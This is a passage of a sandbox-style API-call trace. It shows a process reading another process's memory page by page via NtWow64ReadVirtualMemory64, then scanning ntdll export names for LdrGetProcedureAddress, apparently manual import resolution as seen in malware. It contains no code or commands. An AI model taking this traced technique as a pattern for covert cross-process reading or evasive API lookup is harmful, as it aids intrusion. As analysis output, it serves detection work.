BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.422] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.422] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.422] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.423] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.423] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.423] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.423] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.423] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.424] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.424] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.424] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.424] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.425] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.425] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.425] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.425] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.425] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.426] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.426] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.426] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.426] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.427] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.427] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.427] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.427] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.427] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.428] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.428] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.428] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.428] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.429] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.429] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.429] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.429] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.429] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.430] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.430] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.430] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.430] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.431] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.431] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0856000, Buffer=0x7fff, BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.431] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.431] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.431] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.432] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.432] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.432] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.443] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.443] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.443] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.443] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.444] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.444] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.444] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.444] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.444] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.445] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.445] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.445] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.445] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.446] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.446] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.446] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.446] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.446] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.447] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.447] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.447] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.447] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.448] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.448] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.448] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.448] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.449] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.449] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.449] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.449] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.450] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.450] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.450] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.450] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.450] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.451] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0880000, Buffer=0x7fff, BufferSize=0x25d0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.451] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0881000, Buffer=0x7fff, BufferSize=0x25d1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.451] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0882000, Buffer=0x7fff, BufferSize=0x25d2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.451] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0883000, Buffer=0x7fff, BufferSize=0x25d3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.452] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0884000, Buffer=0x7fff, BufferSize=0x25d4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.452] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0885000, Buffer=0x7fff, BufferSize=0x25d5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.452] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0886000, Buffer=0x7fff, BufferSize=0x25d6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.452] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0887000, Buffer=0x7fff, BufferSize=0x25d7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.453] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0888000, Buffer=0x7fff, BufferSize=0x25d8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.587] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0139.587] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrGetProcedureAddress") returned -1 [0139.588] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0139.589] lstrcmpA (lpString1="DbgPrint", lpString2="LdrGetProcedureAddress") returned -1 [0139.589] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0139.590] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrGetProcedureAddress") returned -1 